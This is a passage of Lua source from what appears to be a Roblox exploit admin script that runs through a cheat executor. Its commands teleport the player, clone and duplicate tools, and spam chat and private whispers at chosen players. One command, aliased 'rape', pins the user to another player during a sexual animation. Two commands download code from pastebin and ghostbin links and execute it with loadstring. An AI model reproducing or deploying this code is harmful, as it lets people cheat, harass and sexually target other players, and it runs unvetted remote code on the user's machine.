  7350. if dance1 == 1 then
  7351. anim = '27789359'
  7352. end
  7353. if dance1 == 2 then
  7354. anim = '30196114'
  7355. end
  7356. if dance1 == 3 then
  7357. anim = '248263260'
  7358. end
  7359. if dance1 == 4 then
  7360. anim = '45834924'
  7361. end
  7362. if dance1 == 5 then
  7363. anim = '33796059'
  7364. end
  7365. if dance1 == 6 then
  7366. anim = '28488254'
  7367. end
  7368. if dance1 == 7 then
  7369. anim = '52155728'
  7370. end
  7371. local animation = Instance.new("Animation")
  7372. animation.AnimationId = "rbxassetid://"..anim
  7373. animTrack = pchar.Humanoid:LoadAnimation(animation)
  7374. animTrack:Play()
  7375. else
  7376. notify('R6 Required','This command requires the r6 rig type')
  7377. end
  7378. end)
  7379.  
  7380. addcmd('undance',{'nodance'},
  7381. function(args, speaker)
  7382. animTrack:Stop()
  7383. animTrack:Destroy()
  7384. end)
  7385.  
  7386. addcmd('nolimbs',{'rlimbs'},
  7387. function(args, speaker)
  7388. if r15(speaker) then
  7389. for i,v in pairs(speaker.Character:GetChildren()) do
  7390. if v:IsA("BasePart") and
  7391. v.Name == "RightUpperLeg" or
  7392. v.Name == "LeftUpperLeg" or
  7393. v.Name == "RightUpperArm" or
  7394. v.Name == "LeftUpperArm" then
  7395. v:Destroy()
  7396. end
  7397. end
  7398. else
  7399. for i,v in pairs(speaker.Character:GetChildren()) do
  7400. if v:IsA("BasePart") and
  7401. v.Name == "Right Leg" or
  7402. v.Name == "Left Leg" or
  7403. v.Name == "Right Arm" or
  7404. v.Name == "Left Arm" then
  7405. v:Destroy()
  7406. end
  7407. end
  7408. end
  7409. end)
  7410.  
  7411. addcmd('noarms',{'rarms'},
  7412. function(args, speaker)
  7413. if r15(speaker) then
  7414. for i,v in pairs(speaker.Character:GetChildren()) do
  7415. if v:IsA("BasePart") and
  7416. v.Name == "RightUpperArm" or
  7417. v.Name == "LeftUpperArm" then
  7418. v:Destroy()
  7419. end
  7420. end
  7421. else
  7422. for i,v in pairs(speaker.Character:GetChildren()) do
  7423. if v:IsA("BasePart") and
  7424. v.Name == "Right Arm" or
  7425. v.Name == "Left Arm" then
  7426. v:Destroy()
  7427. end
  7428. end
  7429. end
  7430. end)
  7431.  
  7432. addcmd('nolegs',{'rlegs'},
  7433. function(args, speaker)
  7434. if r15(speaker) then
  7435. for i,v in pairs(speaker.Character:GetChildren()) do
  7436. if v:IsA("BasePart") and
  7437. v.Name == "RightUpperLeg" or
  7438. v.Name == "LeftUpperLeg" then
  7439. v:Destroy()
  7440. end
  7441. end
  7442. else
  7443. for i,v in pairs(speaker.Character:GetChildren()) do
  7444. if v:IsA("BasePart") and
  7445. v.Name == "Right Leg" or
  7446. v.Name == "Left Leg" then
  7447. v:Destroy()
  7448. end
  7449. end
  7450. end
  7451. end)
  7452.  
  7453. addcmd('sit',{},
  7454. function(args, speaker)
  7455. speaker.Character:FindFirstChildOfClass("Humanoid").Sit = true
  7456. end)
  7457.  
  7458. function noSitFunc()
  7459. wait()
  7460. if Players.LocalPlayer.Character.Humanoid.Sit then
  7461. Players.LocalPlayer.Character.Humanoid.Sit = false
  7462. end
  7463. end
  7464. addcmd('nosit',{},
  7465. function(args, speaker)
  7466. if noSit then noSit:Disconnect() nositDied:Disconnect() end
  7467. noSit = Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("Sit"):connect(noSitFunc)
  7468. local function nositDiedFunc()
  7469. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('Humanoid')
  7470. noSit:Disconnect()
  7471. noSit = Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("Sit"):connect(noSitFunc)
  7472. end
  7473. nositDied = speaker.CharacterAdded:connect(nositDiedFunc)
  7474. end)
  7475.  
  7476. addcmd('unnosit',{},
  7477. function(args, speaker)
  7478. if noSit then noSit:Disconnect() nositDied:Disconnect() end
  7479. end)
  7480.  
  7481. addcmd('jump',{},
  7482. function(args, speaker)
  7483. speaker.Character:FindFirstChildOfClass("Humanoid").Jump = true
  7484. end)
  7485.  
  7486. addcmd('infjump',{'infinitejump'},
  7487. function(args, speaker)
  7488. infJump = true
  7489. end)
  7490.  
  7491. addcmd('uninfjump',{'uninfinitejump','noinfjump','noinfinitejump'},
  7492. function(args, speaker)
  7493. infJump = false
  7494. end)
  7495.  
  7496. addcmd('team',{},
  7497. function(args, speaker)
  7498. local teamname = nil
  7499. for a,b in pairs(game:GetService("Teams"):GetChildren()) do
  7500. local L_name = b.Name:lower()
  7501. local F = L_name:find(getstring(1))
  7502. if F == 1 then
  7503. teamname = b
  7504. end
  7505. end
  7506. speaker.Team = teamname
  7507. end)
  7508.  
  7509. addcmd('nobgui',{'unbgui','nobillboardgui','unbillboardgui','noname'},
  7510. function(args, speaker)
  7511. for i,v in pairs(speaker.Character:GetDescendants())do
  7512. if v:IsA("BillboardGui") or v:IsA("SurfaceGui") then
  7513. v:Destroy()
  7514. end
  7515. end
  7516. end)
  7517.  
  7518. addcmd('spasm',{},
  7519. function(args, speaker)
  7520. if not r15(speaker) then
  7521. local pchar=speaker.Character
  7522. local AnimationId = "33796059"
  7523. SpasmAnim = Instance.new("Animation")
  7524. SpasmAnim.AnimationId = "rbxassetid://"..AnimationId
  7525. Spasm = pchar.Humanoid:LoadAnimation(SpasmAnim)
  7526. Spasm:Play()
  7527. Spasm:AdjustSpeed(99)
  7528. else
  7529. notify('R6 Required','This command requires the r6 rig type')
  7530. end
  7531. end)
  7532.  
  7533. addcmd('unspasm',{'nospasm'},
  7534. function(args, speaker)
  7535. Spasm:Stop()
  7536. SpasmAnim:Destroy()
  7537. end)
  7538.  
  7539. addcmd('headthrow',{},
  7540. function(args, speaker)
  7541. if not r15(speaker) then
  7542. local AnimationId = "35154961"
  7543. local Anim = Instance.new("Animation")
  7544. Anim.AnimationId = "rbxassetid://"..AnimationId
  7545. local k = speaker.Character.Humanoid:LoadAnimation(Anim)
  7546. k:Play(0)
  7547. k:AdjustSpeed(1)
  7548. else
  7549. notify('R6 Required','This command requires the r6 rig type')
  7550. end
  7551. end)
  7552.  
  7553. addcmd('animation',{'anim'},
  7554. function(args, speaker)
  7555. if not r15(speaker) then
  7556. local pchar=speaker.Character
  7557. local AnimationId = tostring(args[1])
  7558. local Anim = Instance.new("Animation")
  7559. Anim.AnimationId = "rbxassetid://"..AnimationId
  7560. local k = pchar.Humanoid:LoadAnimation(Anim)
  7561. k:Play()
  7562. if args[2] then
  7563. k:AdjustSpeed(tostring(args[2]))
  7564. end
  7565. else
  7566. notify('R6 Required','This command requires the r6 rig type')
  7567. end
  7568. end)
  7569.  
  7570. addcmd('tpposition',{'tppos'},
  7571. function(args, speaker)
  7572. if #args < 3 then return end
  7573. local tpX,tpY,tpZ = tonumber(args[1]),tonumber(args[2]),tonumber(args[3])
  7574. local char = speaker.Character
  7575. if char and char:FindFirstChild("HumanoidRootPart") then
  7576. char.HumanoidRootPart.CFrame = CFrame.new(tpX,tpY,tpZ)
  7577. end
  7578. end)
  7579.  
  7580. addcmd('offset',{},
  7581. function(args, speaker)
  7582. if #args < 3 then return end
  7583. local tpX,tpY,tpZ = tonumber(args[1]),tonumber(args[2]),tonumber(args[3])
  7584. local char = speaker.Character
  7585. if char and char:FindFirstChild("HumanoidRootPart") then
  7586. char.HumanoidRootPart.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(tpX,tpY,tpZ)
  7587. end
  7588. end)
  7589.  
  7590. addcmd('clickteleport',{},
  7591. function(args, speaker)
  7592. if speaker == Players.LocalPlayer then
  7593. notify('Click TP','Go to Settings>Keybinds>Add to set up click tp')
  7594. end
  7595. end)
  7596.  
  7597. addcmd('clickdelete',{},
  7598. function(args, speaker)
  7599. if speaker == Players.LocalPlayer then
  7600. notify('Click Delete','Go to Settings>Keybinds>Add to set up click delete')
  7601. end
  7602. end)
  7603.  
  7604. addcmd('getposition',{'getpos','notifypos','notifyposition'},
  7605. function(args, speaker)
  7606. local players = getPlayer(args[1], speaker)
  7607. for i,v in pairs(players)do
  7608. local char = Players[v].Character
  7609. if char and char:FindFirstChild("HumanoidRootPart") then
  7610. local pos = tostring(char.HumanoidRootPart.Position)
  7611. notify('Current Position',pos)
  7612. end
  7613. end
  7614. end)
  7615.  
  7616. addcmd('copyposition',{'copypos'},
  7617. function(args, speaker)
  7618. local players = getPlayer(args[1], speaker)
  7619. for i,v in pairs(players)do
  7620. local char = Players[v].Character
  7621. if char and char:FindFirstChild("HumanoidRootPart") then
  7622. local pos = tostring(char.HumanoidRootPart.Position)
  7623. toClipboard(pos)
  7624. end
  7625. end
  7626. end)
  7627.  
  7628. addcmd('speed',{'ws'},
  7629. function(args, speaker)
  7630. if args[2] then
  7631. speaker.Character:FindFirstChildOfClass('Humanoid').WalkSpeed=tonumber(args[2])
  7632. else
  7633. speaker.Character:FindFirstChildOfClass('Humanoid').WalkSpeed=tonumber(args[1])
  7634. end
  7635. end)
  7636.  
  7637. addcmd('tools',{'gears'},
  7638. function(args, speaker)
  7639. local function copy(instance)
  7640. for i,c in pairs(instance:GetChildren())do
  7641. if c:IsA('Tool') or c:IsA('HopperBin') then
  7642. c:Clone().Parent = speaker.Backpack
  7643. end
  7644. copy(c)
  7645. end
  7646. end
  7647. copy(game:GetService("Lighting"))
  7648. local function copy(instance)
  7649. for i,c in pairs(instance:GetChildren())do
  7650. if c:IsA('Tool') or c:IsA('HopperBin') then
  7651. c:Clone().Parent = speaker.Backpack
  7652. end
  7653. copy(c)
  7654. end
  7655. end
  7656. copy(game:GetService("ReplicatedStorage"))
  7657. notify('Tools','Copied tools from ReplicatedStorage and Lighting')
  7658. end)
  7659.  
  7660. addcmd('notools',{'rtools','clrtools','removetools','deletetools','dtools'},
  7661. function(args, speaker)
  7662. for i,v in pairs(speaker.Backpack:GetDescendants()) do
  7663. if v:IsA('Tool') or v:IsA('HopperBin') then
  7664. v:destroy()
  7665. end
  7666. end
  7667. for i,v in pairs(speaker.Character:GetDescendants()) do
  7668. if v:IsA('Tool') or v:IsA('HopperBin') then
  7669. v:destroy()
  7670. end
  7671. end
  7672. end)
  7673.  
  7674. addcmd('console',{},
  7675. function(args, speaker)
  7676. -- Thanks wally!!
  7677. notify("Loading",'Hold on a second')
  7678. local _, str = pcall(function()
  7679. return game:HttpGet("https://pastebin.com/raw/i35eCznS", true)
  7680. end)
  7681.  
  7682. local s, e = loadstring(str)
  7683. if typeof(s) ~= "function" then
  7684. return
  7685. end
  7686.  
  7687. local success, message = pcall(s)
  7688. if (not success) then
  7689. if printconsole then
  7690. printconsole(message)
  7691. elseif printoutput then
  7692. printoutput(message)
  7693. end
  7694. end
  7695. wait(1)
  7696. notify('Console','Press F9 to open the console')
  7697. end)
  7698.  
  7699. addcmd('explorer',{'dex'},
  7700. function(args, speaker)
  7701. if PARENT:FindFirstChild'Dex' then
  7702. PARENT.Dex:Destroy();
  7703. end
  7704.  
  7705. local Dex = game:GetObjects("rbxassetid://3567096419")[1]
  7706. Dex.Name = 'Dex'
  7707. Dex.Parent = PARENT
  7708.  
  7709. local function Load(Obj, Url)
  7710. local function GiveOwnGlobals(Func, Script)
  7711. local Fenv = {}
  7712. local RealFenv = {script = Script}
  7713. local FenvMt = {}
  7714. FenvMt.__index = function(a,b)
  7715. if RealFenv[b] == nil then
  7716. return getfenv()[b]
  7717. else
  7718. return RealFenv[b]
  7719. end
  7720. end
  7721. FenvMt.__newindex = function(a, b, c)
  7722. if RealFenv[b] == nil then
  7723. getfenv()[b] = c
  7724. else
  7725. RealFenv[b] = c
  7726. end
  7727. end
  7728. setmetatable(Fenv, FenvMt)
  7729. setfenv(Func, Fenv)
  7730. return Func
  7731. end
  7732.  
  7733. local function LoadScripts(Script)
  7734. if Script.ClassName == "Script" or Script.ClassName == "LocalScript" then
  7735. spawn(function()
  7736. GiveOwnGlobals(loadstring(Script.Source, "=" .. Script:GetFullName()), Script)()
  7737. end)
  7738. end
  7739. for i,v in pairs(Script:GetChildren()) do
  7740. LoadScripts(v)
  7741. end
  7742. end
  7743.  
  7744. LoadScripts(Obj)
  7745. end
  7746.  
  7747. Load(Dex)
  7748. end)
  7749.  
  7750. loopgoto = nil
  7751. addcmd('loopgoto',{},
  7752. function(args, speaker)
  7753. local players = getPlayer(args[1], speaker)
  7754. for i,v in pairs(players)do
  7755. loopgoto = nil
  7756. if speaker.Character:FindFirstChild("Humanoid") then
  7757. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
  7758. end
  7759. wait()
  7760. loopgoto = Players[v]
  7761. local distance = 3
  7762. if args[2] and isNumber(args[2]) then
  7763. distance = args[2]
  7764. end
  7765. local lDelay = 0
  7766. if args[3] and isNumber(args[3]) then
  7767. lDelay = args[3]
  7768. end
  7769. repeat
  7770. if Players[v].Character ~= nil then
  7771. speaker.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame + Vector3.new(distance,1,0)
  7772. end
  7773. wait(lDelay)
  7774. until loopgoto ~= Players[v]
  7775. end
  7776. end)
  7777.  
  7778. addcmd('unloopgoto',{'noloopgoto'},
  7779. function(args, speaker)
  7780. loopgoto = nil
  7781. end)
  7782.  
  7783. addcmd('headsit',{},
  7784. function(args, speaker)
  7785. local players = getPlayer(args[1], speaker)
  7786. for i,v in pairs(players)do
  7787. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = true
  7788. headSit = game:GetService("RunService").RenderStepped:Connect(function()
  7789. if Players[v].Character ~= nil and Players[v].Character:FindFirstChild('HumanoidRootPart') and speaker.Character:FindFirstChild('HumanoidRootPart') then
  7790. if Players:FindFirstChild(Players[v].Name) and speaker.Character:FindFirstChildOfClass('Humanoid').Sit == true then
  7791. speaker.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame * CFrame.Angles(0,math.rad(0),0)* CFrame.new(0,1.6,0.4)
  7792. else
  7793. headSit:Disconnect()
  7794. end
  7795. end
  7796. end)
  7797. end
  7798. end)
  7799.  
  7800. addcmd('chat',{},
  7801. function(args, speaker)
  7802. local cString = getstring(1)
  7803. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(cString, "All")
  7804. end)
  7805.  
  7806. spamming = false
  7807. spamspeed = 1
  7808. addcmd('spam',{},
  7809. function(args, speaker)
  7810. spamming = true
  7811. local spamstring = getstring(1)
  7812. repeat wait(spamspeed)
  7813. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(spamstring, "All")
  7814. until spamming == false
  7815. end)
  7816.  
  7817. addcmd('nospam',{'unspam'},
  7818. function(args, speaker)
  7819. spamming = false
  7820. end)
  7821.  
  7822. pmspamming = {}
  7823. addcmd('pmspam',{},
  7824. function(args, speaker)
  7825. local players = getPlayer(args[1], speaker)
  7826. for i,v in pairs(players)do
  7827. spawn(function()
  7828. if FindInTable(pmspamming, Players[v].Name) then return end
  7829. table.insert(pmspamming, Players[v].Name)
  7830. local pmspamstring = getstring(2)
  7831. repeat wait(spamspeed)
  7832. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/w "..Players[v].Name.." "..pmspamstring, "All")
  7833. until not FindInTable(pmspamming, Players[v].Name)
  7834. end)
  7835. end
  7836. end)
  7837.  
  7838. addcmd('nopmspam',{'unpmspam'},
  7839. function(args, speaker)
  7840. local players = getPlayer(args[1], speaker)
  7841. for i,v in pairs(players)do
  7842. spawn(function()
  7843. for a,b in pairs(pmspamming) do
  7844. if b == Players[v].Name then
  7845. table.remove(pmspamming, a)
  7846. end
  7847. end
  7848. end)
  7849. end
  7850. end)
  7851.  
  7852. addcmd('spamspeed',{},
  7853. function(args, speaker)
  7854. spamspeed = args[1]
  7855. end)
  7856.  
  7857. addcmd('blockhead',{},
  7858. function(args, speaker)
  7859. speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
  7860. end)
  7861.  
  7862. addcmd('blockhats',{},
  7863. function(args, speaker)
  7864. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  7865. if v:FindFirstChild('Handle') and v.Handle:FindFirstChildOfClass('SpecialMesh') then
  7866. v.Handle:FindFirstChildOfClass("SpecialMesh"):Destroy()
  7867. end
  7868. end
  7869. end)
  7870.  
  7871. addcmd('blocktool',{},
  7872. function(args, speaker)
  7873. for i,v in pairs(speaker.Character:GetChildren()) do
  7874. if v:IsA("Tool") or v:IsA("HopperBin") and v:FindFirstChild("Handle") then
  7875. if v.Handle:FindFirstChildOfClass('SpecialMesh') then
  7876. v.Handle:FindFirstChildOfClass('SpecialMesh'):Destroy()
  7877. end
  7878. end
  7879. end
  7880. end)
  7881.  
  7882. addcmd('creeper',{},
  7883. function(args, speaker)
  7884. if r15(speaker) then
  7885. speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
  7886. speaker.Character.LeftUpperArm:Destroy()
  7887. speaker.Character.RightUpperArm:Destroy()
  7888. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  7889. v:Destroy()
  7890. end
  7891. else
  7892. speaker.Character.Head:FindFirstChildOfClass("SpecialMesh"):Destroy()
  7893. speaker.Character["Left Arm"]:Destroy()
  7894. speaker.Character["Right Arm"]:Destroy()
  7895. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  7896. v:Destroy()
  7897. end
  7898. end
  7899. end)
  7900.  
  7901. addcmd('bang',{'rape'},
  7902. function(args, speaker)
  7903. if not r15(speaker) then
  7904. execCmd('unbang')
  7905. wait()
  7906. local players = getPlayer(args[1], speaker)
  7907. for i,v in pairs(players)do
  7908. bangAnim = Instance.new("Animation")
  7909. bangAnim.AnimationId = "rbxassetid://148840371"
  7910. bang = speaker.Character.Humanoid:LoadAnimation(bangAnim)
  7911. bang:Play(.1, 1, 1)
  7912. if args[2] then
  7913. bang:AdjustSpeed(args[2])
  7914. else
  7915. bang:AdjustSpeed(3)
  7916. end
  7917. bangplr = Players[v].Name
  7918. bangDied = speaker.Character:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  7919. bangLoop:Disconnect()
  7920. bang:Stop()
  7921. bangAnim:Destroy()
  7922. bangDied:Disconnect()
  7923. end)
  7924. bangLoop = game:GetService('RunService').Stepped:connect(function()
  7925. pcall(function()
  7926. Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Players[bangplr].Character.HumanoidRootPart.CFrame
  7927. end)
  7928. end)
  7929. end
  7930. else
  7931. notify('R6 Required','This command requires the r6 rig type')
  7932. end
  7933. end)
  7934.  
  7935. addcmd('unbang',{'unrape'},
  7936. function(args, speaker)
  7937. if bangLoop then
  7938. bangLoop:Disconnect()
  7939. bangDied:Disconnect()
  7940. bang:Stop()
  7941. bangAnim:Destroy()
  7942. end
  7943. end)
  7944.  
  7945. addcmd('bringpart',{},
  7946. function(args, speaker)
  7947. for i,v in pairs(workspace:GetDescendants()) do
  7948. if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
  7949. v.CFrame = speaker.Character.HumanoidRootPart.CFrame
  7950. end
  7951. end
  7952. end)
  7953.  
  7954. addcmd('bringpartclass',{'bpc'},
  7955. function(args, speaker)
  7956. for i,v in pairs(workspace:GetDescendants()) do
  7957. if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then
  7958. v.CFrame = speaker.Character.HumanoidRootPart.CFrame
  7959. end
  7960. end
  7961. end)
  7962.  
  7963. gotopartDelay = 0.1
  7964. addcmd('gotopart',{},
  7965. function(args, speaker)
  7966. for i,v in pairs(workspace:GetDescendants()) do
  7967. if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
  7968. if speaker.Character:FindFirstChild("Humanoid") then
  7969. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
  7970. end
  7971. wait(gotopartDelay)
  7972. speaker.Character.HumanoidRootPart.CFrame = v.CFrame
  7973. end
  7974. end
  7975. end)
  7976.  
  7977. addcmd('gotopartclass',{'gpc'},
  7978. function(args, speaker)
  7979. for i,v in pairs(workspace:GetDescendants()) do
  7980. if v.ClassName:lower() == getstring(1):lower() and v:IsA("BasePart") then
  7981. if speaker.Character:FindFirstChild("Humanoid") then
  7982. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
  7983. end
  7984. wait(gotopartDelay)
  7985. speaker.Character.HumanoidRootPart.CFrame = v.CFrame
  7986. end
  7987. end
  7988. end)
  7989.  
  7990. addcmd('gotopartdelay',{},
  7991. function(args, speaker)
  7992. if args[1] and isNumber(args[1]) then
  7993. gotopartDelay = args[1]
  7994. end
  7995. end)
  7996.  
  7997. addcmd('noclickdetectorlimits',{'nocdlimits','removecdlimits'},
  7998. function(args, speaker)
  7999. for i,v in pairs(workspace:GetDescendants()) do
  8000. if v:IsA("ClickDetector") then
  8001. v.MaxActivationDistance = math.huge
  8002. end
  8003. end
  8004. end)
  8005.  
  8006. addcmd('fireclickdetectors',{'firecd','firecds'},
  8007. function(args, speaker)
  8008. if fireclickdetector then
  8009. for i,v in pairs(workspace:GetDescendants()) do
  8010. if v:IsA("ClickDetector") then
  8011. fireclickdetector(v)
  8012. end
  8013. end
  8014. else
  8015. notify('Incompatible Exploit','Your exploit does not support this command (missing fireclickdetector)')
  8016. end
  8017. end)
  8018.  
  8019. addcmd('simulationradius',{'simradius'},
  8020. function(args, speaker)
  8021. speaker.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8022. speaker.SimulationRadius = math.pow(math.huge,math.huge)*math.huge
  8023. end)
  8024.  
  8025. addcmd('grabtools',{},
  8026. function(args, speaker)
  8027. for i,v in pairs(workspace:GetChildren()) do
  8028. spawn(function()
  8029. if v:IsA("Tool") or v:IsA("HopperBin") then
  8030. if v:FindFirstChild("Handle") then
  8031. repeat
  8032. wait()
  8033. if speaker.Character:FindFirstChild('HumanoidRootPart') then
  8034. v.Handle.CFrame = speaker.Character.HumanoidRootPart.CFrame
  8035. end
  8036. until v.Parent == speaker.Character
  8037. end
  8038. end
  8039. end)
  8040. end
  8041. grabtoolsFunc = workspace.ChildAdded:connect(function(part)
  8042. if part:IsA("Tool") or part:IsA("HopperBin") then
  8043. if part:FindFirstChild("Handle") then
  8044. repeat
  8045. wait()
  8046. if speaker.Character:FindFirstChild('HumanoidRootPart') then
  8047. part.Handle.CFrame = speaker.Character.HumanoidRootPart.CFrame
  8048. end
  8049. until part.Parent == speaker.Character
  8050. end
  8051. end
  8052. end)
  8053. notify('Grabtools','Picking up any dropped tools')
  8054. end)
  8055.  
  8056. addcmd('nograbtools',{'ungrabtools'},
  8057. function(args, speaker)
  8058. grabtoolsFunc:Disconnect()
  8059. notify('Grabtools','Grabtools has been disabled')
  8060. end)
  8061.  
  8062. addcmd('light',{},
  8063. function(args, speaker)
  8064. local light = Instance.new("PointLight", speaker.Character.HumanoidRootPart)
  8065. light.Range = 30
  8066. if args[1] then
  8067. light.Brightness = args[1]
  8068. else
  8069. light.Brightness = 5
  8070. end
  8071. end)
  8072.  
  8073. addcmd('unlight',{'nolight'},
  8074. function(args, speaker)
  8075. for i,v in pairs(speaker.Character:GetDescendants()) do
  8076. if v.ClassName == "PointLight" then
  8077. v:Destroy()
  8078. end
  8079. end
  8080. end)
  8081.  
  8082. addcmd('copytools',{},
  8083. function(args, speaker)
  8084. local players = getPlayer(args[1], speaker)
  8085. for i,v in pairs(players)do
  8086. spawn(function()
  8087. for i,v in pairs(Players[v].Backpack:GetChildren()) do
  8088. if v:IsA('Tool') or v:IsA('HopperBin') then
  8089. v:Clone().Parent = speaker.Backpack
  8090. end
  8091. end
  8092. end)
  8093. end
  8094. end)
  8095.  
  8096. addcmd('naked',{},
  8097. function(args, speaker)
  8098. for i,v in pairs(speaker.Character:GetDescendants()) do
  8099. if v:IsA("Clothing") or v:IsA("ShirtGraphic") then
  8100. v:Destroy()
  8101. end
  8102. end
  8103. end)
  8104.  
  8105. addcmd('noface',{'removeface'},
  8106. function(args, speaker)
  8107. for i,v in pairs(speaker.Character:GetDescendants()) do
  8108. if v:IsA("Decal") and v.Name == 'face' then
  8109. v:Destroy()
  8110. end
  8111. end
  8112. end)
  8113.  
  8114. addcmd('spawnpoint',{'spawn'},
  8115. function(args, speaker)
  8116. spawnpos = speaker.Character.HumanoidRootPart.CFrame
  8117. spawnpoint = true
  8118. notify('Spawn Point','Spawn point created at '..tostring(spawnpos))
  8119. end)
  8120.  
  8121. addcmd('nospawnpoint',{'nospawn','removespawnpoint'},
  8122. function(args, speaker)
  8123. spawnpoint = false
  8124. notify('Spawn Point','Removed spawn point')
  8125. end)
  8126.  
  8127. addcmd('flashback',{'diedtp'},
  8128. function(args, speaker)
  8129. if lastDeath ~= nil then
  8130. if speaker.Character:FindFirstChild("Humanoid") then
  8131. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
  8132. end
  8133. wait()
  8134. speaker.Character.HumanoidRootPart.CFrame = lastDeath
  8135. end
  8136. end)
  8137.  
  8138. addcmd('hatspin',{'spinhats'},
  8139. function(args, speaker)
  8140. execCmd('unhatspin')
  8141. wait(.5)
  8142. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  8143. local keep = Instance.new("BodyPosition") keep.Parent = v.Handle keep.Name = "no"
  8144. local spin = Instance.new("BodyAngularVelocity") spin.Parent = v.Handle spin.Name = "ha"
  8145. v.Handle:FindFirstChildOfClass("Weld"):Destroy()
  8146. if args[1] then
  8147. spin.AngularVelocity = Vector3.new(0, args[1], 0)
  8148. spin.MaxTorque = Vector3.new(0, args[1] * 2, 0)
  8149. else
  8150. spin.AngularVelocity = Vector3.new(0, 100, 0)
  8151. spin.MaxTorque = Vector3.new(0, 200, 0)
  8152. end
  8153. keep.P = 30000
  8154. keep.D = 50
  8155. spinhats = game:GetService('RunService').Stepped:connect(function()
  8156. pcall(function()
  8157. keep.Position = Players.LocalPlayer.Character.Head.Position
  8158. end)
  8159. end)
  8160. end
  8161. end)
  8162.  
  8163. addcmd('unhatspin',{'unspinhats'},
  8164. function(args, speaker)
  8165. for _,v in pairs(speaker.Character.Humanoid:GetAccessories()) do
  8166. if spinhats then
  8167. spinhats:Disconnect()
  8168. end
  8169. v.Parent = workspace
  8170. v.Handle.no:Destroy()
  8171. v.Handle.ha:Destroy()
  8172. wait()
  8173. v.Parent = speaker.Character
  8174. end
  8175. end)
  8176.  
  8177. addcmd('vr',{},
  8178. function(args, speaker)
  8179. -- Full credit to Abacaxl @V3rmillion
  8180. loadstring(game:HttpGet('https://ghostbin.co/paste/yb288/raw'))()
  8181. end)
  8182.  
  8183. addcmd('split',{},
  8184. function(args, speaker)
  8185. if r15(speaker) then
  8186. speaker.Character.UpperTorso.Waist:Destroy()
  8187. else
  8188. notify('R15 Required','This command requires the r15 rig type')
  8189. end
  8190. end)
  8191.  
  8192. addcmd('equiptools',{},
  8193. function(args, speaker)
  8194. for i,v in pairs(speaker.Backpack:GetChildren()) do
  8195. if v:IsA("Tool") or v:IsA("HopperBin") then
  8196. v.Parent = speaker.Character
  8197. end
  8198. end
  8199. end)
  8200.  
  8201. addcmd('dupetools',{'clonetools'},
  8202. function(args, speaker)
  8203. speaker.Character:MoveTo(Vector3.new(999999,999999,999999))
  8204. wait()
  8205. local tools = {}
  8206. for i,v in pairs(speaker.Backpack:GetChildren()) do
  8207. if v:IsA("Tool") or v:IsA("HopperBin") then
  8208. v.Parent = speaker.Character
  8209. end
  8210. end
  8211. for i,v in pairs(speaker.Character:GetChildren()) do
  8212. if v:IsA("Tool") or v:IsA("HopperBin") and v:FindFirstChild("Handle") then
  8213. table.insert(tools,v)
  8214. v.Handle.Anchored = true
  8215. v.Parent = workspace
  8216. end
  8217. end
  8218. respawn(speaker)
  8219. wait(1)
  8220. repeat wait() until speaker.Character ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart')
  8221. wait(0.5)
  8222. for i,v in pairs(tools) do
  8223. spawn(function()
  8224. v.Handle.Anchored = false
  8225. repeat
  8226. wait()
  8227. if speaker.Character:FindFirstChild('HumanoidRootPart') then
  8228. v.Handle.CFrame = speaker.Character.HumanoidRootPart.CFrame
  8229. end
  8230. until v.Parent == speaker.Character
  8231. end)
  8232. end
  8233. end)
  8234.  
  8235. addcmd('fullbright',{'fb','fullbrightness'},
  8236. function(args, speaker)
  8237. game:GetService("Lighting").Brightness = 2
  8238. game:GetService("Lighting").ClockTime = 14
  8239. game:GetService("Lighting").FogEnd = 100000
  8240. game:GetService("Lighting").GlobalShadows = false
  8241. game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(128, 128, 128)
  8242. end)
  8243.  
  8244. addcmd('ambient',{},
  8245. function(args, speaker)
  8246. game:GetService("Lighting").Ambient = Color3.new(args[1],args[2],args[3])
  8247. game:GetService("Lighting").OutdoorAmbient = Color3.new(args[1],args[2],args[3])
  8248. end)
  8249.  
  8250. addcmd('day',{},
  8251. function(args, speaker)
  8252. game:GetService("Lighting").ClockTime = 14
  8253. end)
  8254.  
  8255. addcmd('night',{},
  8256. function(args, speaker)
  8257. game:GetService("Lighting").ClockTime = 0
  8258. end)
  8259.  
  8260. addcmd('nofog',{},
  8261. function(args, speaker)
  8262. game:GetService("Lighting").FogEnd = 100000
  8263. end)
  8264.  
  8265. addcmd('brightness',{},
  8266. function(args, speaker)
  8267. game:GetService("Lighting").Brightness = args[1]
  8268. end)
  8269.  
  8270. addcmd('globalshadows',{'gshadows'},
  8271. function(args, speaker)
  8272. game:GetService("Lighting").GlobalShadows = true
  8273. end)
  8274.  
  8275. addcmd('unglobalshadows',{'nogshadows','ungshadows','noglobalshadows'},
  8276. function(args, speaker)
  8277. game:GetService("Lighting").GlobalShadows = false
  8278. end)
  8279.  
